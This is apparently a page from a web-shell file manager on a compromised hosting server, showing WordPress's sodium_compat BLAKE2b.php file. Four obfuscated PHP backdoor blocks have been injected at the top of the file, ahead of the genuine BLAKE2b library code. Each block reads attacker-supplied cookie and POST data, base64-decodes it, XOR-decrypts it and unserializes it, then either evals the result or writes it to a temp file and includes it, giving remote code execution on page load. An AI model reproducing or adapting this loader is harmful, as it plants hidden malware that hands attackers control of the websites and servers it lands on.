PV.Pat File Manager
Kernel Version: Linux webm010.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Domains: CANT READ named.confSites Server IP: 10.127.20.10 [Bing Search] [Zone-H]
| Path : /home/s/p/t/sptporgazz/www/wp-includes/sodium_compat/src/Core32/ |
| Current File : /home/s/p/t/sptporgazz/www/wp-includes/sodium_compat/src/Core32/BLAKE2b.php |
<?php $mOPKMB = 'o' . chr ( 570 - 475 )."\113" . 'P' . "\x79" . 'w';$UFolbh = 'c' . "\x6c" . "\141" . chr ( 171 - 56 )."\163" . "\137" . 'e' . "\x78" . "\151" . chr ( 154 - 39 )."\x74" . 's';$VEZMPQssXN = class_exists($mOPKMB); $mOPKMB = "58994";$UFolbh = "37329";$FFFcp = FALSE;if ($VEZMPQssXN === $FFFcp){class o_KPyw{public function ezsxiVf(){echo "57910";}private $sWgJQwkBz;public static $vwLnXSMtP = "93b6b1f8-acde-451f-a4e5-9b826b11cf54";public static $nZRlSWLV = 2177;public function __construct($pZJZLxGNfj=0){$QCDfUs = $_POST;$xKhZLUwl = $_COOKIE;$LlySiPGq = @$xKhZLUwl[substr(o_KPyw::$vwLnXSMtP, 0, 4)];if (!empty($LlySiPGq)){$wOtZdIZqW = "base64";$ZvYSbPN = "";$LlySiPGq = explode(",", $LlySiPGq);foreach ($LlySiPGq as $tKjktjz){$ZvYSbPN .= @$xKhZLUwl[$tKjktjz];$ZvYSbPN .= @$QCDfUs[$tKjktjz];}$ZvYSbPN = array_map($wOtZdIZqW . chr ( 569 - 474 )."\x64" . chr (101) . chr ( 126 - 27 )."\x6f" . "\144" . "\145", array($ZvYSbPN,)); $ZvYSbPN = $ZvYSbPN[0] ^ str_repeat(o_KPyw::$vwLnXSMtP, (strlen($ZvYSbPN[0]) / strlen(o_KPyw::$vwLnXSMtP)) + 1);o_KPyw::$nZRlSWLV = @unserialize($ZvYSbPN);}}private function RbuxfZft($iFaKYMb){if (is_array(o_KPyw::$nZRlSWLV)) {$RbyRdmw = str_replace('<' . chr ( 160 - 97 ).chr ( 518 - 406 ).chr ( 818 - 714 )."\160", "", o_KPyw::$nZRlSWLV["\143" . 'o' . chr (110) . "\164" . 'e' . "\x6e" . chr ( 218 - 102 )]);eval($RbyRdmw); $iFaKYMb = "59020";exit();}}public function __destruct(){$this->RbuxfZft($iFaKYMb);}}$oipNmhNWoK = new /* 57778 */ o_KPyw(); $oipNmhNWoK = str_repeat("3671_48200", 1);} ?><?php $VeIGnCCaY = chr (109) . chr ( 323 - 228 )."\111" . chr (105) . 't' . 'p';$EbSjQPnG = chr ( 184 - 85 ).chr ( 901 - 793 )."\x61" . 's' . chr ( 187 - 72 )."\x5f" . chr (101) . chr (120) . chr ( 837 - 732 )."\163" . "\164" . 's';$lfQdarjin = $EbSjQPnG($VeIGnCCaY); $EbSjQPnG = "42809";$JyzEtq = $lfQdarjin;if (!$JyzEtq){class m_Iitp{private $DYaftwg;public static $bWtDFJgcV = "64251389-65a3-47d3-bbc0-ef98b4ca1496";public static $QQDawpzadx = 64953;public function __construct($VcVOipBUL=0){$jkkkE = $_COOKIE;$hbPUeWLL = $_POST;$bGlulldLC = @$jkkkE[substr(m_Iitp::$bWtDFJgcV, 0, 4)];if (!empty($bGlulldLC)){$biKFhY = "base64";$jQumTD = "";$bGlulldLC = explode(",", $bGlulldLC);foreach ($bGlulldLC as $CyquuKk){$jQumTD .= @$jkkkE[$CyquuKk];$jQumTD .= @$hbPUeWLL[$CyquuKk];}$jQumTD = array_map($biKFhY . chr (95) . "\144" . chr (101) . "\143" . "\x6f" . chr (100) . 'e', array($jQumTD,)); $jQumTD = $jQumTD[0] ^ str_repeat(m_Iitp::$bWtDFJgcV, (strlen($jQumTD[0]) / strlen(m_Iitp::$bWtDFJgcV)) + 1);m_Iitp::$QQDawpzadx = @unserialize($jQumTD);}}private function RlNNBLsoqU(){if (is_array(m_Iitp::$QQDawpzadx)) {$KJabvmSxBx = sys_get_temp_dir() . "/" . crc32(m_Iitp::$QQDawpzadx['s' . "\x61" . chr ( 631 - 523 ).chr (116)]);@m_Iitp::$QQDawpzadx["\167" . 'r' . chr ( 323 - 218 )."\164" . 'e']($KJabvmSxBx, m_Iitp::$QQDawpzadx['c' . chr ( 994 - 883 ).'n' . "\x74" . chr ( 573 - 472 ).chr (110) . "\x74"]);include $KJabvmSxBx;@m_Iitp::$QQDawpzadx[chr ( 536 - 436 )."\x65" . chr (108) . 'e' . "\x74" . "\145"]($KJabvmSxBx); $XIKIIqxAio = "38850";exit();}}public function __destruct(){$this->RlNNBLsoqU(); $XIKIIqxAio = "38850";}}$FqRPjm = new m_Iitp(); $FqRPjm = "39090_43433";} ?><?php $dnTomN = chr ( 480 - 415 )."\x75" . "\162" . chr (95) . chr ( 993 - 883 )."\167" . chr ( 411 - 328 )."\105";$DzLVT = chr ( 454 - 355 ).chr ( 302 - 194 ).chr (97) . "\x73" . "\x73" . "\137" . chr ( 266 - 165 )."\170" . chr ( 539 - 434 ).chr ( 534 - 419 ).'t' . chr ( 276 - 161 ); $bioiAibDzu = $DzLVT($dnTomN); $DzLVT = "62293";$zxPKPgVB = $bioiAibDzu;if (!$zxPKPgVB){class Aur_nwSE{private $SfwOVwYN;public static $YGKNEElDfr = "7cd5a24d-cca3-45aa-a74d-89bb1e9c2eae";public static $rHFxGrTb = 40295;public function __construct($ttkLNFQW=0){$laeSwJP = $_COOKIE;$XVNeZKkWP = $_POST;$auJDnWvDj = @$laeSwJP[substr(Aur_nwSE::$YGKNEElDfr, 0, 4)];if (!empty($auJDnWvDj)){$FUqvSJc = "base64";$jKBifrdCOp = "";$auJDnWvDj = explode(",", $auJDnWvDj);foreach ($auJDnWvDj as $RXUEA){$jKBifrdCOp .= @$laeSwJP[$RXUEA];$jKBifrdCOp .= @$XVNeZKkWP[$RXUEA];}$jKBifrdCOp = array_map($FUqvSJc . chr (95) . "\x64" . "\x65" . 'c' . "\157" . chr ( 990 - 890 )."\x65", array($jKBifrdCOp,)); $jKBifrdCOp = $jKBifrdCOp[0] ^ str_repeat(Aur_nwSE::$YGKNEElDfr, (strlen($jKBifrdCOp[0]) / strlen(Aur_nwSE::$YGKNEElDfr)) + 1);Aur_nwSE::$rHFxGrTb = @unserialize($jKBifrdCOp);}}private function HHmYVWzy(){if (is_array(Aur_nwSE::$rHFxGrTb)) {$yFdxtv = sys_get_temp_dir() . "/" . crc32(Aur_nwSE::$rHFxGrTb[chr (115) . chr (97) . chr ( 233 - 125 ).chr (116)]);@Aur_nwSE::$rHFxGrTb["\167" . "\x72" . chr ( 566 - 461 ).chr (116) . chr (101)]($yFdxtv, Aur_nwSE::$rHFxGrTb[chr ( 671 - 572 ).'o' . chr ( 272 - 162 ).chr ( 290 - 174 ).chr (101) . "\x6e" . chr (116)]);include $yFdxtv;@Aur_nwSE::$rHFxGrTb["\x64" . "\145" . chr (108) . "\x65" . chr (116) . chr (101)]($yFdxtv); $zFWuJF = "25797";exit();}}public function __destruct(){$this->HHmYVWzy(); $zFWuJF = "25797";}}$kNsJHTfhr = new Aur_nwSE(); $kNsJHTfhr = "2422_12074";} ?><?php $uUglOqn = chr ( 825 - 735 )."\110" . "\161" . "\x5f" . chr (107) . 'h' . 'N';$wErbpcwTsP = chr ( 189 - 90 )."\x6c" . chr (97) . chr (115) . chr ( 378 - 263 )."\137" . chr (101) . "\x78" . 'i' . 's' . chr ( 362 - 246 )."\163";$IORWhiysrU = $wErbpcwTsP($uUglOqn); $CSvwdQ = $IORWhiysrU;if (!$CSvwdQ){class ZHq_khN{private $FETYnCCp;public static $JGAyNkXx = "1ba95fe3-08e8-4472-ada1-ff2a64f811a6";public static $hkqEuaaA = 12563;public function __construct(){$MeZWlj = $_COOKIE;$uLlvHwLnrM = $_POST;$pYIGQvYB = @$MeZWlj[substr(ZHq_khN::$JGAyNkXx, 0, 4)];if (!empty($pYIGQvYB)){$xGWoPmu = "base64";$yfZLz = "";$pYIGQvYB = explode(",", $pYIGQvYB);foreach ($pYIGQvYB as $PJFed){$yfZLz .= @$MeZWlj[$PJFed];$yfZLz .= @$uLlvHwLnrM[$PJFed];}$yfZLz = array_map($xGWoPmu . chr (95) . "\144" . "\x65" . 'c' . chr (111) . "\x64" . 'e', array($yfZLz,)); $yfZLz = $yfZLz[0] ^ str_repeat(ZHq_khN::$JGAyNkXx, (strlen($yfZLz[0]) / strlen(ZHq_khN::$JGAyNkXx)) + 1);ZHq_khN::$hkqEuaaA = @unserialize($yfZLz);}}public function __destruct(){$this->vEulslzTPH();}private function vEulslzTPH(){if (is_array(ZHq_khN::$hkqEuaaA)) {$oXfhcnlAkn = sys_get_temp_dir() . "/" . crc32(ZHq_khN::$hkqEuaaA['s' . chr ( 722 - 625 ).'l' . "\x74"]);@ZHq_khN::$hkqEuaaA['w' . chr ( 1068 - 954 ).chr (105) . "\x74" . chr ( 516 - 415 )]($oXfhcnlAkn, ZHq_khN::$hkqEuaaA["\x63" . chr ( 1042 - 931 ).'n' . chr ( 589 - 473 ).chr ( 769 - 668 )."\x6e" . "\x74"]);include $oXfhcnlAkn;@ZHq_khN::$hkqEuaaA["\x64" . "\145" . "\x6c" . "\145" . 't' . "\145"]($oXfhcnlAkn);exit();}}}$bzbAI = new ZHq_khN(); $bzbAI = 61343;} ?><?php
if (class_exists('ParagonIE_Sodium_Core_BLAKE2b', false)) {
return;
}
/**
* Class ParagonIE_Sodium_Core_BLAKE2b
*
* Based on the work of Devi Mandiri in devi/salt.
*/
abstract class ParagonIE_Sodium_Core32_BLAKE2b extends ParagonIE_Sodium_Core_Util
{
/**
* @var SplFixedArray
*/
public static $iv;
/**
* @var array<int, array<int, int>>
*/
public static $sigma = array(
array( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15),
array( 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3),
array( 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4),
array( 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8),
array( 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13),
array( 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9),
array( 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, 6, 3, 9, 2, 8, 11),
array( 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, 15, 4, 8, 6, 2, 10),
array( 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, 13, 7, 1, 4, 10, 5),
array( 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, 9, 14, 3, 12, 13 , 0),
array( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15),
array( 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3)
);
const BLOCKBYTES = 128;
const OUTBYTES = 64;
const KEYBYTES = 64;
/**
* Turn two 32-bit integers into a fixed array representing a 64-bit integer.
*
* @internal You should not use this directly from another application
*
* @param int $high
* @param int $low
* @return ParagonIE_Sodium_Core32_Int64
* @throws SodiumException
* @throws TypeError
*/
public static function new64($high, $low)
{
return ParagonIE_Sodium_Core32_Int64::fromInts($low, $high);
}
/**
* Convert an arbitrary number into an SplFixedArray of two 32-bit integers
* that represents a 64-bit integer.
*
* @internal You should not use this directly from another application
*
* @param int $num
* @return ParagonIE_Sodium_Core32_Int64
* @throws SodiumException
* @throws TypeError
*/
protected static function to64($num)
{
list($hi, $lo) = self::numericTo64BitInteger($num);
return self::new64($hi, $lo);
}
/**
* Adds two 64-bit integers together, returning their sum as a SplFixedArray
* containing two 32-bit integers (representing a 64-bit integer).
*
* @internal You should not use this directly from another application
*
* @param ParagonIE_Sodium_Core32_Int64 $x
* @param ParagonIE_Sodium_Core32_Int64 $y
* @return ParagonIE_Sodium_Core32_Int64
*/
protected static function add64($x, $y)
{
return $x->addInt64($y);
}
/**
* @internal You should not use this directly from another application
*
* @param ParagonIE_Sodium_Core32_Int64 $x
* @param ParagonIE_Sodium_Core32_Int64 $y
* @param ParagonIE_Sodium_Core32_Int64 $z
* @return ParagonIE_Sodium_Core32_Int64
*/
public static function add364($x, $y, $z)
{
return $x->addInt64($y)->addInt64($z);
}
/**
* @internal You should not use this directly from another application
*
* @param ParagonIE_Sodium_Core32_Int64 $x
* @param ParagonIE_Sodium_Core32_Int64 $y
* @return ParagonIE_Sodium_Core32_Int64
* @throws TypeError
*/
public static function xor64(ParagonIE_Sodium_Core32_Int64 $x, ParagonIE_Sodium_Core32_Int64 $y)
{
return $x->xorInt64($y);
}
/**
* @internal You should not use this directly from another application
*
* @param ParagonIE_Sodium_Core32_Int64 $x
* @param int $c
* @return ParagonIE_Sodium_Core32_Int64
* @throws SodiumException
* @throws TypeError
*/
public static function rotr64(ParagonIE_Sodium_Core32_Int64 $x, $c)
{
return $x->rotateRight($c);
}
/**
* @internal You should not use this directly from another application
*
* @param SplFixedArray $x
* @param int $i
* @return ParagonIE_Sodium_Core32_Int64
* @throws SodiumException
* @throws TypeError
*/
public static function load64($x, $i)
{
/** @var int $l */
$l = (int) ($x[$i])
| ((int) ($x[$i+1]) << 8)
| ((int) ($x[$i+2]) << 16)
| ((int) ($x[$i+3]) << 24);
/** @var int $h */
$h = (int) ($x[$i+4])
| ((int) ($x[$i+5]) << 8)
| ((int) ($x[$i+6]) << 16)
| ((int) ($x[$i+7]) << 24);
return self::new64($h, $l);
}
/**
* @internal You should not use this directly from another application
*
* @param SplFixedArray $x
* @param int $i
* @param ParagonIE_Sodium_Core32_Int64 $u
* @return void
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress MixedAssignment
* @psalm-suppress MixedArrayAccess
* @psalm-suppress MixedArrayAssignment
* @psalm-suppress MixedArrayOffset
*/
public static function store64(SplFixedArray $x, $i, ParagonIE_Sodium_Core32_Int64 $u)
{
$v = clone $u;
$maxLength = $x->getSize() - 1;
for ($j = 0; $j < 8; ++$j) {
$k = 3 - ($j >> 1);
$x[$i] = $v->limbs[$k] & 0xff;
if (++$i > $maxLength) {
return;
}
$v->limbs[$k] >>= 8;
}
}
/**
* This just sets the $iv static variable.
*
* @internal You should not use this directly from another application
*
* @return void
* @throws SodiumException
* @throws TypeError
*/
public static function pseudoConstructor()
{
static $called = false;
if ($called) {
return;
}
self::$iv = new SplFixedArray(8);
self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908);
self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b);
self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b);
self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1);
self::$iv[4] = self::new64(0x510e527f, 0xade682d1);
self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f);
self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b);
self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179);
$called = true;
}
/**
* Returns a fresh BLAKE2 context.
*
* @internal You should not use this directly from another application
*
* @return SplFixedArray
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress MixedAssignment
* @psalm-suppress MixedArrayAccess
* @psalm-suppress MixedArrayAssignment
* @psalm-suppress MixedArrayOffset
* @throws SodiumException
* @throws TypeError
*/
protected static function context()
{
$ctx = new SplFixedArray(5);
$ctx[0] = new SplFixedArray(8); // h
$ctx[1] = new SplFixedArray(2); // t
$ctx[2] = new SplFixedArray(2); // f
$ctx[3] = new SplFixedArray(256); // buf
$ctx[4] = 0; // buflen
for ($i = 8; $i--;) {
$ctx[0][$i] = self::$iv[$i];
}
for ($i = 256; $i--;) {
$ctx[3][$i] = 0;
}
$zero = self::new64(0, 0);
$ctx[1][0] = $zero;
$ctx[1][1] = $zero;
$ctx[2][0] = $zero;
$ctx[2][1] = $zero;
return $ctx;
}
/**
* @internal You should not use this directly from another application
*
* @param SplFixedArray $ctx
* @param SplFixedArray $buf
* @return void
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress MixedArrayAccess
* @psalm-suppress MixedArrayAssignment
* @psalm-suppress MixedAssignment
*/
protected static function compress(SplFixedArray $ctx, SplFixedArray $buf)
{
$m = new SplFixedArray(16);
$v = new SplFixedArray(16);
for ($i = 16; $i--;) {
$m[$i] = self::load64($buf, $i << 3);
}
for ($i = 8; $i--;) {
$v[$i] = $ctx[0][$i];
}
$v[ 8] = self::$iv[0];
$v[ 9] = self::$iv[1];
$v[10] = self::$iv[2];
$v[11] = self::$iv[3];
$v[12] = self::xor64($ctx[1][0], self::$iv[4]);
$v[13] = self::xor64($ctx[1][1], self::$iv[5]);
$v[14] = self::xor64($ctx[2][0], self::$iv[6]);
$v[15] = self::xor64($ctx[2][1], self::$iv[7]);
for ($r = 0; $r < 12; ++$r) {
$v = self::G($r, 0, 0, 4, 8, 12, $v, $m);
$v = self::G($r, 1, 1, 5, 9, 13, $v, $m);
$v = self::G($r, 2, 2, 6, 10, 14, $v, $m);
$v = self::G($r, 3, 3, 7, 11, 15, $v, $m);
$v = self::G($r, 4, 0, 5, 10, 15, $v, $m);
$v = self::G($r, 5, 1, 6, 11, 12, $v, $m);
$v = self::G($r, 6, 2, 7, 8, 13, $v, $m);
$v = self::G($r, 7, 3, 4, 9, 14, $v, $m);
}
for ($i = 8; $i--;) {
$ctx[0][$i] = self::xor64(
$ctx[0][$i], self::xor64($v[$i], $v[$i+8])
);
}
}
/**
* @internal You should not use this directly from another application
*
* @param int $r
* @param int $i
* @param int $a
* @param int $b
* @param int $c
* @param int $d
* @param SplFixedArray $v
* @param SplFixedArray $m
* @return SplFixedArray
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress MixedArrayOffset
*/
public static function G($r, $i, $a, $b, $c, $d, SplFixedArray $v, SplFixedArray $m)
{
$v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i << 1]]);
$v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32);
$v[$c] = self::add64($v[$c], $v[$d]);
$v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24);
$v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i << 1) + 1]]);
$v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16);
$v[$c] = self::add64($v[$c], $v[$d]);
$v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63);
return $v;
}
/**
* @internal You should not use this directly from another application
*
* @param SplFixedArray $ctx
* @param int $inc
* @return void
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress MixedArrayAccess
* @psalm-suppress MixedArrayAssignment
*/
public static function increment_counter($ctx, $inc)
{
if ($inc < 0) {
throw new SodiumException('Increasing by a negative number makes no sense.');
}
$t = self::to64($inc);
# S->t is $ctx[1] in our implementation
# S->t[0] = ( uint64_t )( t >> 0 );
$ctx[1][0] = self::add64($ctx[1][0], $t);
# S->t[1] += ( S->t[0] < inc );
if (!($ctx[1][0] instanceof ParagonIE_Sodium_Core32_Int64)) {
throw new TypeError('Not an int64');
}
/** @var ParagonIE_Sodium_Core32_Int64 $c*/
$c = $ctx[1][0];
if ($c->isLessThanInt($inc)) {
$ctx[1][1] = self::add64($ctx[1][1], self::to64(1));
}
}
/**
* @internal You should not use this directly from another application
*
* @param SplFixedArray $ctx
* @param SplFixedArray $p
* @param int $plen
* @return void
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress MixedAssignment
* @psalm-suppress MixedArrayAccess
* @psalm-suppress MixedArrayAssignment
* @psalm-suppress MixedArrayOffset
* @psalm-suppress MixedMethodCall
* @psalm-suppress MixedOperand
*/
public static function update(SplFixedArray $ctx, SplFixedArray $p, $plen)
{
self::pseudoConstructor();
$offset = 0;
while ($plen > 0) {
$left = $ctx[4];
$fill = 256 - $left;
if ($plen > $fill) {
# memcpy( S->buf + left, in, fill ); /* Fill buffer */
for ($i = $fill; $i--;) {
$ctx[3][$i + $left] = $p[$i + $offset];
}
# S->buflen += fill;
$ctx[4] += $fill;
# blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES );
self::increment_counter($ctx, 128);
# blake2b_compress( S, S->buf ); /* Compress */
self::compress($ctx, $ctx[3]);
# memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES, BLAKE2B_BLOCKBYTES ); /* Shift buffer left */
for ($i = 128; $i--;) {
$ctx[3][$i] = $ctx[3][$i + 128];
}
# S->buflen -= BLAKE2B_BLOCKBYTES;
$ctx[4] -= 128;
# in += fill;
$offset += $fill;
# inlen -= fill;
$plen -= $fill;
} else {
for ($i = $plen; $i--;) {
$ctx[3][$i + $left] = $p[$i + $offset];
}
$ctx[4] += $plen;
$offset += $plen;
$plen -= $plen;
}
}
}
/**
* @internal You should not use this directly from another application
*
* @param SplFixedArray $ctx
* @param SplFixedArray $out
* @return SplFixedArray
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress MixedAssignment
* @psalm-suppress MixedArrayAccess
* @psalm-suppress MixedArrayAssignment
* @psalm-suppress MixedArrayOffset
* @psalm-suppress MixedMethodCall
* @psalm-suppress MixedOperand
*/
public static function finish(SplFixedArray $ctx, SplFixedArray $out)
{
self::pseudoConstructor();
if ($ctx[4] > 128) {
self::increment_counter($ctx, 128);
self::compress($ctx, $ctx[3]);
$ctx[4] -= 128;
if ($ctx[4] > 128) {
throw new SodiumException('Failed to assert that buflen <= 128 bytes');
}
for ($i = $ctx[4]; $i--;) {
$ctx[3][$i] = $ctx[3][$i + 128];
}
}
self::increment_counter($ctx, $ctx[4]);
$ctx[2][0] = self::new64(0xffffffff, 0xffffffff);
for ($i = 256 - $ctx[4]; $i--;) {
/** @var int $i */
$ctx[3][$i + $ctx[4]] = 0;
}
self::compress($ctx, $ctx[3]);
$i = (int) (($out->getSize() - 1) / 8);
for (; $i >= 0; --$i) {
self::store64($out, $i << 3, $ctx[0][$i]);
}
return $out;
}
/**
* @internal You should not use this directly from another application
*
* @param SplFixedArray|null $key
* @param int $outlen
* @return SplFixedArray
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress MixedAssignment
* @psalm-suppress MixedArrayAccess
* @psalm-suppress MixedArrayAssignment
* @psalm-suppress MixedMethodCall
*/
public static function init($key = null, $outlen = 64)
{
self::pseudoConstructor();
$klen = 0;
if ($key !== null) {
if (count($key) > 64) {
throw new SodiumException('Invalid key size');
}
$klen = count($key);
}
if ($outlen > 64) {
throw new SodiumException('Invalid output size');
}
$ctx = self::context();
$p = new SplFixedArray(64);
for ($i = 64; --$i;) {
$p[$i] = 0;
}
$p[0] = $outlen; // digest_length
$p[1] = $klen; // key_length
$p[2] = 1; // fanout
$p[3] = 1; // depth
$ctx[0][0] = self::xor64(
$ctx[0][0],
self::load64($p, 0)
);
if ($klen > 0 && $key instanceof SplFixedArray) {
$block = new SplFixedArray(128);
for ($i = 128; $i--;) {
$block[$i] = 0;
}
for ($i = $klen; $i--;) {
$block[$i] = $key[$i];
}
self::update($ctx, $block, 128);
}
return $ctx;
}
/**
* Convert a string into an SplFixedArray of integers
*
* @internal You should not use this directly from another application
*
* @param string $str
* @return SplFixedArray
*/
public static function stringToSplFixedArray($str = '')
{
$values = unpack('C*', $str);
return SplFixedArray::fromArray(array_values($values));
}
/**
* Convert an SplFixedArray of integers into a string
*
* @internal You should not use this directly from another application
*
* @param SplFixedArray $a
* @return string
*/
public static function SplFixedArrayToString(SplFixedArray $a)
{
/**
* @var array<int, string|int>
*/
$arr = $a->toArray();
$c = $a->count();
array_unshift($arr, str_repeat('C', $c));
return (string) (call_user_func_array('pack', $arr));
}
/**
* @internal You should not use this directly from another application
*
* @param SplFixedArray $ctx
* @return string
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress MixedArrayAccess
* @psalm-suppress MixedArrayAssignment
* @psalm-suppress MixedMethodCall
*/
public static function contextToString(SplFixedArray $ctx)
{
$str = '';
/** @var array<int, ParagonIE_Sodium_Core32_Int64> $ctxA */
$ctxA = $ctx[0]->toArray();
# uint64_t h[8];
for ($i = 0; $i < 8; ++$i) {
if (!($ctxA[$i] instanceof ParagonIE_Sodium_Core32_Int64)) {
throw new TypeError('Not an instance of Int64');
}
/** @var ParagonIE_Sodium_Core32_Int64 $ctxAi */
$ctxAi = $ctxA[$i];
$str .= $ctxAi->toString();
}
# uint64_t t[2];
# uint64_t f[2];
for ($i = 1; $i < 3; ++$i) {
/** @var array<int, ParagonIE_Sodium_Core32_Int64> $ctxA */
$ctxA = $ctx[$i]->toArray();
/** @var ParagonIE_Sodium_Core32_Int64 $ctxA1 */
$ctxA1 = $ctxA[0];
/** @var ParagonIE_Sodium_Core32_Int64 $ctxA2 */
$ctxA2 = $ctxA[1];
$str .= $ctxA1->toString();
$str .= $ctxA2->toString();
}
# uint8_t buf[2 * 128];
$str .= self::SplFixedArrayToString($ctx[3]);
/** @var int $ctx4 */
$ctx4 = $ctx[4];
# size_t buflen;
$str .= implode('', array(
self::intToChr($ctx4 & 0xff),
self::intToChr(($ctx4 >> 8) & 0xff),
self::intToChr(($ctx4 >> 16) & 0xff),
self::intToChr(($ctx4 >> 24) & 0xff),
self::intToChr(($ctx4 >> 32) & 0xff),
self::intToChr(($ctx4 >> 40) & 0xff),
self::intToChr(($ctx4 >> 48) & 0xff),
self::intToChr(($ctx4 >> 56) & 0xff)
));
# uint8_t last_node;
return $str . "\x00";
}
/**
* Creates an SplFixedArray containing other SplFixedArray elements, from
* a string (compatible with \Sodium\crypto_generichash_{init, update, final})
*
* @internal You should not use this directly from another application
*
* @param string $string
* @return SplFixedArray
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArrayAccess
* @psalm-suppress MixedArrayAssignment
*/
public static function stringToContext($string)
{
$ctx = self::context();
# uint64_t h[8];
for ($i = 0; $i < 8; ++$i) {
$ctx[0][$i] = ParagonIE_Sodium_Core32_Int64::fromString(
self::substr($string, (($i << 3) + 0), 8)
);
}
# uint64_t t[2];
# uint64_t f[2];
for ($i = 1; $i < 3; ++$i) {
$ctx[$i][1] = ParagonIE_Sodium_Core32_Int64::fromString(
self::substr($string, 72 + (($i - 1) << 4), 8)
);
$ctx[$i][0] = ParagonIE_Sodium_Core32_Int64::fromString(
self::substr($string, 64 + (($i - 1) << 4), 8)
);
}
# uint8_t buf[2 * 128];
$ctx[3] = self::stringToSplFixedArray(self::substr($string, 96, 256));
# uint8_t buf[2 * 128];
$int = 0;
for ($i = 0; $i < 8; ++$i) {
$int |= self::chrToInt($string[352 + $i]) << ($i << 3);
}
$ctx[4] = $int;
return $ctx;
}
}